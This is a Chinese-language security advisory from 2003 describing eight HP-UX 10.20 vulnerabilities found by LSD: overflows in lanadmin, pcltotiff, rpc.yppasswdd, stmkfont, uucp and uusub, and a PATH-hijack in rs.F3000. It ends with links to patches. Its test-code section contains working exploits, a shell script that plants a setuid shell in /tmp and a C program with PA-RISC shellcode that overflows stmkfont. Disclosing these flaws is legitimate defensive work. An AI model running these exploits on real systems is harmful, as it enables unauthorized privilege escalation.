HP-UX存在多个本地远程漏洞发布时间:2003-06-10 更新时间:2003-06-10 严重程度:高 威胁程度:本地管理员权限 错误类型:边界检查错误 利用方式:服务器模式 受影响系统 HP HP-UX 10.20详细描述 LSD组织在审核HPUX系统时发现8个漏洞(7个本地和1个远程),内容如下: 1. /usr/sbin/lanadmin /usr/sbin/landiag lanadmin和landiag程序由于在setupterm()函数中不正确处理TERM环境变量,通过设置超长TERM环境变量可触发溢出。 2. /opt/sharedprint/bin/pcltotiff 在解析命令行参数-t时,没有检查参数的边界缓冲区,超长参数可可触发溢出。 3. rpc.yppasswdd rpc.yppasswdd服务是安装在NIS子系统上,可以使用yppasswd程序处理密码更改的请求。HPUX系统下RPC服务号为100009。 通过发送特殊构建的字符串给YPPASSWDPROC_UPDATE函数,这个函数有两个参数,一个字符字符串和密码结构,表示旧密码和passwd结构,在changepasswd()函数,密码结构的pw_name field 字段拷贝到固定缓冲区时没有正确进行检查,可导致触发溢出。 [21110] 0x00012a98 1 changepasswd() [21110] 0x00025480 1 memset(0xffbefa30,0,40) [21110] 0x00014448 1 xdr_yppasswd() [21110] 0x00025738 1 xdr_wrapstring() [21110] 0x00014374 1 xdr_passwd() [21110] 0x00025744 1 xdr_uid_t() [21110] 0x00025750 1 xdr_gid_t() [21110] 0x000126b4 1 validstr() [21110] 0x0002545c 1 strlen("") [21110] 0x000255b8 1 strchr("",':') [21110] 0x000126b4 2 validstr() [21110] 0x000126b4 3 validstr() [21110] 0x00025474 1 strcmp("udp","ticlts") .... [21110] 0x00025438 1 strcpy(0xffbef9d8,"overlfow string with shellcode") 4. /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 rs.F3000调用使用system()函数调用不安全外部程序,如果环境变量PATH设置在调用system()函数之前,可导致以守护程序权限执行任意代码。 5. /usr/bin/stmkfont 在调用命令行参数时没有正确检查字符串长度。 6. /usr/bin/uucp 在调用命令行参数时没有正确检查字符串长度。 7. /usr/bin/uusub 在处理-t命令行参数时没有正确检查字符串长度。 测试代码 #!/bin/sh ## copyright LAST STAGE OF DELIRIUM may 2002 poland *://lsd-pl.net/ # ## /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 # echo "copyright LAST STAGE OF DELIRIUM may 2002 poland //lsd-pl.net/" echo "/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 for HP-UX 10.20 700/800" cat > /tmp/rm << 'EOF' /usr/bin/cp /bin/sh /tmp/sh /usr/bin/chown daemon /tmp/sh /usr/bin/chmod 4755 /tmp/sh EOF chmod 755 /tmp/rm PATH=/tmp:$PATH export PATH /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 sleep 3 sh ------------------------------------------------------------------- /*## copyright LAST STAGE OF DELIRIUM jun 2002 poland *://lsd-pl.net/ #*/ /*## /usr/bin/stmkfont #*/ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define ADRNUM 1200 #define NOPNUM 12000 #define PADNUM 3 char shellcode[]= "\xeb\x5f\x1f\xfd" /* bl .+8,%r26 */ "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */ "\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */ "\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */ "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */ "\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */ "/bin/sh" ; char jump[]= "\xe0\x40\x00\x00" /* be 0x0(%sr0,%rp) */ "\x37\xdc\x00\x00" /* copy %sp,%ret0 */ ; char nop[]="\x0a\xb5\x02\x95"; int main(int argc,char **argv){ char buffer[20000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM jun 2002 poland //lsd-pl.net/\n"); printf("/usr/bin/stmkfont for HP-UX 10.20 700/800\n"); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-16732; printf("0x%x\n",*((unsigned long*)adr)); envp[0]=&buffer[2000]; envp[1]=0; b=buffer; for(i=0;i<PADNUM;i++) *b++=0x61; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=&buffer[2000]; strcpy(b,"lsd=");b+=4; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/bin/stmkfont","lsd",buffer,0,envp); } ------------------------------------------------------------------ 解决方案 补丁下载: HP HP-UX 10.20: HP Patch PHCO_29105.depot ftp://hprc.external.hp.com/PHCO_29105.depot HP HP-UX 11.0: HP Patch PHCO_29106.depot ftp://hprc.external.hp.com/PHCO_29106.depot HP HP-UX 11.11: HP Patch PHCO_29107.depot ftp://hprc.external.hp.com/PHCO_29107.depot 相关信息 参考:http://archives.neohapsis.com/archives/bugtraq/2003-06/0075.html http://www.lsd-pl.net/vulnerabilities.html#hp |